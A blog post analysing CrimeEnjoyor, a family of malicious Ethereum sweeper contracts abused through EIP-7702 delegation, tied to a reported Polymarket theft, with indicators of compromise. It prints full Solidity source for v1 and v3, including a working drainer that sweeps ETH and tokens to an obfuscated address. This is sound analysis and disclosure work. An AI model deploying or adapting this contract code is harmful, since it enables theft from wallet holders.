CrimeEnjoyor: Hunting EIP-7702 Sweeper Contracts on Ethereum



## How Ethereum Wallets Work (30-Second Primer) I recently came across a <a href="https://x.com/SpecterAnalyst/status/2070152064051605517">Tweet by Specter</a>: > It appears there may be a phishing attack targeting Polymarket users, with estimated losses of $2.94M so far. > > The attacker has drained funds from 11+ victim wallets holding PUSD, swapped the stolen assets for ETH, and consolidated the proceeds into the following address: > > 0xe65b1C586757c5510B60F998Eebb14C1eF71E1eD > > Other theft addresses: > > 0xC771A30a7c1aCA828eeEF7B822ac864a64cBaAe2 > > 0xC44F2Ca6B30A54d17a62ceF8FAdaF2e8C8632eC4 > > 0x10366AdBB5C4101A65C840Da6639546179C5A107 > > 0x7BCECe0d8fd92ECCf39Bc35242c6D9aAc0aA75A6 > > Stay Smart That's a lot of money. That's plainly why I found it interesting. So I took the chance to learn a bit about this alien world of ETH smart contracts. <span id="more-6189"></span> I'm not a cryptobro and also not an expert in any of this. I'm writing this post to learn something new and take you along on the journey. ## Intro Ethereum has two types of accounts. **Externally Owned Accounts (EOAs)** are normal wallets controlled by a private key - what you use in MetaMask or on a Ledger. And **Contract Accounts** hold code that executes automatically when called. EOAs sign transactions; contracts run logic. The Pectra upgrade which happened in May 2025 introduced **EIP-7702**, which blurs this boundary. An EOA can now *delegate* to a contract - meaning the contract's code executes as if it were the wallet itself. The legitimate use cases include batched transactions, gas sponsorship, session keys. The abuse case is straightforward: trick a user into signing a delegation authorization pointing to a malicious contract, and that contract can drain everything the wallet owns. The victim doesn't send a transaction - they sign what looks like a routine message. The attacker submits it and sweeps ETH and tokens in one atomic transaction. ## CrimeEnjoyor First catalogued by Wintermute Research in June 2025, CrimeEnjoyor is a family of malicious sweeper contracts built specifically for EIP-7702 delegation abuse. By late 2025, over 97% of all EIP-7702 delegations actually pointed to CrimeEnjoyor-family bytecode. And the above tweet describes activity using the exact same contract. On 2026-06-25, an actor seemed to have compromised the Polymarket frontend and managed to steal around 3 million USD. I did the natural thing in 2026 and asked an AI agent to synthesize some code to pull all smart-contracts from the ETH blockchain. And so far I was able to discover three generations: **v1** is a minimal ETH forwarder (receive → transfer). **v2** adds obfuscated function names with a "loser" prefix. **v3** has a couple more features: it can do multicall batching, ERC-20 token sweeping, arbitrary external calls, self-destruct, and has the destination addresses embedded as immutable bytecode values obfuscated with XOR. ## Contract Format ETH smart contracts are stored on the blockchain in a compiled bytecode format. It is often hex-encoded to be displayed on websites like etherscan.io. As a contract author you actually write code in a more readable form and compile it to that bytecode before putting it on the blockchain. etherscan.io also allows users to upload that source code and they then verify that it compiles to the bytecode that's actually on the blockchain and display the source code on their website. But in general the blockchain only contains binary code. There are disassemblers out there and even decompilers. It's a whole ecosystem. Just to give an example, here's the disasm of the start of one of the involved contracts. It's a function dispatcher which seems to be a common pattern for ETH smart contracts. It's the first thing being called when the contract is executed: ``` PUSH1 0x80 // push 128 PUSH1 0x40 // push 64 MSTORE // store 128 at memory address 64 ``` ## Version 1 An entity that goes by the handle Wintermute went through the trouble and re-implmented version 1 of the malicious contract in order to post it to etherscan alongside some warning in the comments. They really needed to come up with code and compiler settings that produce the exact same bytecode: ``` // Source: blockscout // Address: 0x89383882fc2d0cd4d7952a3267a3b6dae967e704 // Chain: 1 // Contract: CrimeEnjoyor // Compiler: 0.8.20+commit.a1b79de6 // Verified: 2025-06-24T14:10:57.850883Z pragma solidity 0.8.20; contract CrimeEnjoyor { /* This contract is used by bad guys to automatically sweep all incoming ETH from compromised addresses Recreated and exposed by Wintermute Check more 7702 data here: https://dune.com/wintermute_research/eip7702 IF YOU FOUND THIS CONTRACT IN ANY AUTHORIZATION LIST, THE EOA DELEGATED TO IT WAS COMPROMISED!!! DO NOT SEND ANY ETH/BNB, IT WILL BE IMMEDIATELY SWEPT. IF THIS ADDRESS BELONGS TO YOU, CONTACT FLASHBOTS WHITEHAT HOTLINE FOR HELP: https://whitehat.flashbots.net */ address public destination; function initialize(address _thief) public { require(_thief != address(0), 'Invalid destination'); destination = _thief; } receive() external payable { require(destination != address(0), 'Not initialized'); payable(destination).transfer(msg.value); } } ``` This approach is pretty messy: after tricking a victim into signing an EIP-7702 tuple (which is the technical term for "let this contract run in their stead), the attacker would need to initialize the contract with their address. After that, the line `payable(destination).transfer(msg.value)` will send all money received by the victim to said address. `payable` is something more of a typecast here: it makes it explicit that the address passed in is meant to receive money and without it, the compiler would refuse to compile. It's not represented by anything in the bytecode. Speaking of messy: Nothing is holding a defender or fellow criminal back from re-initializing the contract with their address. ## Version 2 The following is decompiler output: ``` contract DecompiledContract { address public moonBox; function Unresolved_c189f72b(uint256 arg0, uint256 arg1) public pure returns (uint256) { require(arg0 == arg0); require(arg1 == arg1); require(arg1); require(!arg0 | (0x02 == ((arg0 * 0x02) / arg0))); return arg0 * 0x02; return arg0; } function byteDance(bytes32 arg0, uint256 arg1) public pure returns (uint256) { require(arg0 == arg0); require(arg1 == arg1); return ((arg0 >> 0) ^ arg1) << 0; } function conjure(address arg0) public { require(arg0 == (address(arg0))); uint256 var_c = (0x20 + var_c) + 0x20; require(0x03e8, "No void allowed"); require((!(keccak256(var_f) >> 0) % 0x03e8) | (0x02 == ((((keccak256(var_f) >> 0) % 0x03e8) * 0x02) / ((keccak256(var_f) >> 0) % 0x03e8))), "No void allowed"); require(!((((keccak256(var_f) >> 0) % 0x03e8) * 0x02) > ((((keccak256(var_f) >> 0) % 0x03e8) * 0x02) + 0x07)), "No void allowed"); require(((keccak256(var_f) >> 0) % 0x03e8) > ((((keccak256(var_f) >> 0) % 0x03e8) * 0x02) + 0x07), "No void allowed"); require(!0x01, "No void allowed"); require(address(arg0) - 0, "No void allowed"); moonBox = (address(arg0) * 0x01) | (uint96(moonBox)); require(address(arg0) - 0, "No void allowed"); moonBox = (address(arg0) * 0x01) | (uint96(moonBox)); if (!0) { } } } ``` This invokes mixed feelings: It's somewhat familiar because it's obfuscated like other malware. But it's also, you know, obfuscated. Long story short though: after refactoring the obfuscation away, it's exactly the same as v1: the attacker sets the address and it's then used to redirect transactions. With all the same flaws. Just obfuscated and with a bit of dead code: the `byteDance` function is a simple XOR, just never used _yet_. I learned something interesting here about the function names: Function names are lost at compilation - the EVM only stores a 4-byte Keccak-256 hash of each function's signature as a selector. And the decompiler basically has a giant rainbow table to derive some names: ``` from Crypto.Hash import keccak def selector(sig): k = keccak.new(digest_bits=256) k.update(sig.encode()) return k.digest()[:4].hex() signatures = [ "moonBox()", "byteDance(bytes32,uint256)", "conjure(address)", "destination()", "initialize(address)", "transfer(address,uint256)", ] for sig in signatures: print(f"keccak256(\"{sig}\") = 0x{selector(sig)}") ``` And for the value `c189f72b` nobody found a pre-image yet. ## Version 3 This is the version used in the recent Polymarket attack: ``` pragma solidity 0.8.30; interface IERC20 { function transfer(address to, uint256 value) external returns (bool); function balanceOf(address account) external view returns (uint256); } contract AdvancedCrimeEnjoyor2 { bytes32 immutable a; bytes32 immutable b; address private immutable owner; constructor(bytes32 _a, bytes32 _b) { owner = msg.sender; a = _a; b = _b; bytes32 xoring = _a ^ _b; uint256 check = uint256(xoring); require(uint160(check) != uint160(0), "Invalid target address"); } event CallExecuted(address, bytes, bool); event TokenTransfer(bytes32 indexed topic0, address, uint256, bool) anonymous; event Call(bytes32 indexed topic0, uint256, bool) anonymous; event Failed(bytes32 indexed topic0) anonymous; receive() external payable { helperFunction(); } function loserFallback_8092318215() external payable { helperFunction(); } function destroyContract() external { require(msg.sender == owner, "Only owner can destroy"); selfdestruct(payable(owner)); } function loserSweepETH_11435948882() public { uint256 xor_result = xorHelper(); if (uint160(xor_result) == uint160(0)) { emit Failed(hex"fdf70a81a259d767904d3d0f9444e340e5b6e1122826831b998319fc4535b4ec"); return; } else { uint256 self_balance = address(this).balance; if (self_balance > 0) { (bool success, ) = address(uint160(xor_result)).call{value: self_balance}(""); emit Call(hex"abac7022b3b48d1dadaeb445c02a36f9820e9847a9c8292415acc62973665ebe", self_balance, success); } } } function loserMulticall_3869193990(address[] calldata targets, bytes[] calldata datas) public payable { require(targets.length == datas.length, "Arrays length mismatch"); for (uint256 i = 0; i < targets.length; i++) { (bool success, ) = targets[i].call(datas[i]); emit CallExecuted(targets[i], datas[i], success); } helperFunction(); } function executeCall(address target, bytes calldata data) public payable { callHelper(target, data); helperFunction(); } function callHelper(address target, bytes calldata data) internal { (bool success, ) = target.call(data); emit CallExecuted(target, data, success); } function helperFunction() internal { uint256 xor_result = xorHelper(); if (uint160(xor_result) == uint160(0)) { emit Failed(hex"fdf70a81a259d767904d3d0f9444e340e5b6e1122826831b998319fc4535b4ec"); return; } else { uint256 value = msg.value; if (value == 0) { return; } else { (bool success, ) = address(uint160(xor_result)).call{value: value}(""); emit Call(hex"abac7022b3b48d1dadaeb445c02a36f9820e9847a9c8292415acc62973665ebe", value, success); } } } function transferTokens(address token) public payable { transferHelper(token); } function transferHelper(address token) internal { uint256 xor_result = xorHelper(); if (uint160(xor_result) == uint160(0)) { emit Failed(hex"fdf70a81a259d767904d3d0f9444e340e5b6e1122826831b998319fc4535b4ec"); return; } else { address _token = token; uint256 token_balance = IERC20(_token).balanceOf(address(this)); if (token_balance > 0) { bool success = IERC20(_token).transfer(address(uint160(xor_result)), token_balance); emit TokenTransfer(hex"de90b0fdc12f4ca2384f240d76cdc216ddcf00aa8a3eb80382c17a86c6ebf7ff", token, token_balance, success); } } } function xorHelper() internal view returns (uint256 xor_result) { bytes32 xoring = a ^ b; return uint256(xoring); } } ``` This implements some proper improvements: * The actor address is now hard coded in the contract getting rid of the data race v1 and v2 suffered from. * The XOR function is not dead code anymore: it's now used to obfuscate said address. * v1/2 only redirected newly incoming transactions. This contract will also drain pre-existing funds and redirect ERC-20 tokens. * And finally there is a way for the actor (and only them) to delete the contract entirely. ## Closing Thoughts While this all was pretty new to me, it still feels quite accessible. There's an asm, a compiler and tooling the aid reversing. It's just executed on quite a weird VM. The data necessary to do this research is publicly available or easy to scrape and relatively low volume. So dive in and learn something new! Speaking of easy to scrape: getting all those contracts from the blockchain will take a day or two. So the list of addresses below has quite a big gap and I'll update it soon. ## Indicators of Compromise ### Contract Deployments | Address | Type | Deployed (UTC) | Block | | ----------------------------------------------------------------------------------------------------------------------- | ----------- | ---------------- | -------- | | [`0x89383882fc2d0cd4d7952a3267a3b6dae967e704`](https://etherscan.io/address/0x89383882fc2d0cd4d7952a3267a3b6dae967e704) | v1 original | 2025-05-23 16:51 | 22546872 | | [`0x89046d34e70a65acab2152c26a0c8e493b5ba629`](https://etherscan.io/address/0x89046d34e70a65acab2152c26a0c8e493b5ba629) | v3 original | 2025-05-31 17:49 | 22604298 | | [`0x6b7879a5d747e30a3adb37a9e41c046928fce933`](https://etherscan.io/address/0x6b7879a5d747e30a3adb37a9e41c046928fce933) | v2 original | 2025-06-01 12:41 | 22609915 | | [`0x3acf630a625ad483415228faae718d8c2f9076f5`](https://etherscan.io/address/0x3acf630a625ad483415228faae718d8c2f9076f5) | v3 stripped | 2026-06-26 21:53 | 25404621 | | [`0x3ac5f265b93c63014534893c0b6300ddfc5d2ebe`](https://etherscan.io/address/0x3ac5f265b93c63014534893c0b6300ddfc5d2ebe) | v3 stripped | 2026-06-29 07:44 | 25421912 | | [`0x07e24e265de698fb3b2b02315f70154619a184b0`](https://etherscan.io/address/0x07e24e265de698fb3b2b02315f70154619a184b0) | v3 stripped | 2026-06-29 11:12 | 25422947 | | [`0x6a690c2b94fa1f07668fcdc47cfe0cecb197c1b7`](https://etherscan.io/address/0x6a690c2b94fa1f07668fcdc47cfe0cecb197c1b7) | v1 clone | 2026-06-29 14:54 | 25424051 | | [`0x540fe9bec2470e93aa911906eb560ad6647612c2`](https://etherscan.io/address/0x540fe9bec2470e93aa911906eb560ad6647612c2) | v2 clone | 2026-06-29 15:59 | 25424375 | | [`0xb6da1852c218d74257593126fdfbd20f0bceb2a8`](https://etherscan.io/address/0xb6da1852c218d74257593126fdfbd20f0bceb2a8) | v1 clone | 2026-06-29 18:18 | 25425062 | | [`0xdad82443ff5098217690350a323d8be2b7e23680`](https://etherscan.io/address/0xdad82443ff5098217690350a323d8be2b7e23680) | v3 stripped | 2026-06-29 19:39 | 25425471 | | [`0xbcb5e49e5ee1adbdcb1db70f5706d0c12e90aa13`](https://etherscan.io/address/0xbcb5e49e5ee1adbdcb1db70f5706d0c12e90aa13) | v3 stripped | 2026-06-29 20:09 | 25425621 | | [`0xfc2c64ce1c098a7328874dd09d9a71e306d1a948`](https://etherscan.io/address/0xfc2c64ce1c098a7328874dd09d9a71e306d1a948) | v1 clone | 2026-06-29 20:10 | 25425626 | ### Operator Addresses | Address | Role | | ----------------------------------------------------------------------------------------------------------------------- | ---------------------------------------- | | [`0x77dd9a93d7a1ab9dd3bdd4a70a51b2e8c9b2350d`](https://etherscan.io/address/0x77dd9a93d7a1ab9dd3bdd4a70a51b2e8c9b2350d) | Theft destination (v3, XOR-deobfuscated) | | [`0x86d9ad92fc3f69cc9c1a83aff7834fea27f1fff2`](https://etherscan.io/address/0x86d9ad92fc3f69cc9c1a83aff7834fea27f1fff2) | v3 deployer/owner | | [`0x63a3AABa7B12573ff0A68A45b56EeEA5508C4DBf`](https://etherscan.io/address/0x63a3AABa7B12573ff0A68A45b56EeEA5508C4DBf) | v1 deployer | | [`0xe65b1C586757c5510B60F998Eebb14C1eF71E1eD`](https://etherscan.io/address/0xe65b1C586757c5510B60F998Eebb14C1eF71E1eD) | Polymarket attacker wallet | ### References - [Wintermute Research: Post-Pectra Malicious Contracts](https://www.coindesk.com/tech/2025/06/02/post-pectra-upgrade-malicious-ethereum-contracts-are-trying-to-drain-wallets-but-to-no-avail-wintermute), CoinDesk, 2025-06-02 - [Wintermute EIP-7702 Dashboard](https://dune.com/wintermute_research/eip7702), Dune Analytics - [@SpecterAnalyst — first public alert](https://x.com/SpecterAnalyst/status/2070152064051605517), X, 2026-06-25 - [Explained: The Polymarket Hack (June 2026)](https://www.halborn.com/blog/post/explained-the-polymarket-hack-june-2026), Halborn - [Polymarket Supply-Chain Attack Analysis](https://www.rescana.com/post/polymarket-supply-chain-attack-analysis-3-million-cryptocurrency-theft-via-compromised-third-party-dependency), Rescana

Leave a Reply

Your email address will not be published. Required fields are marked *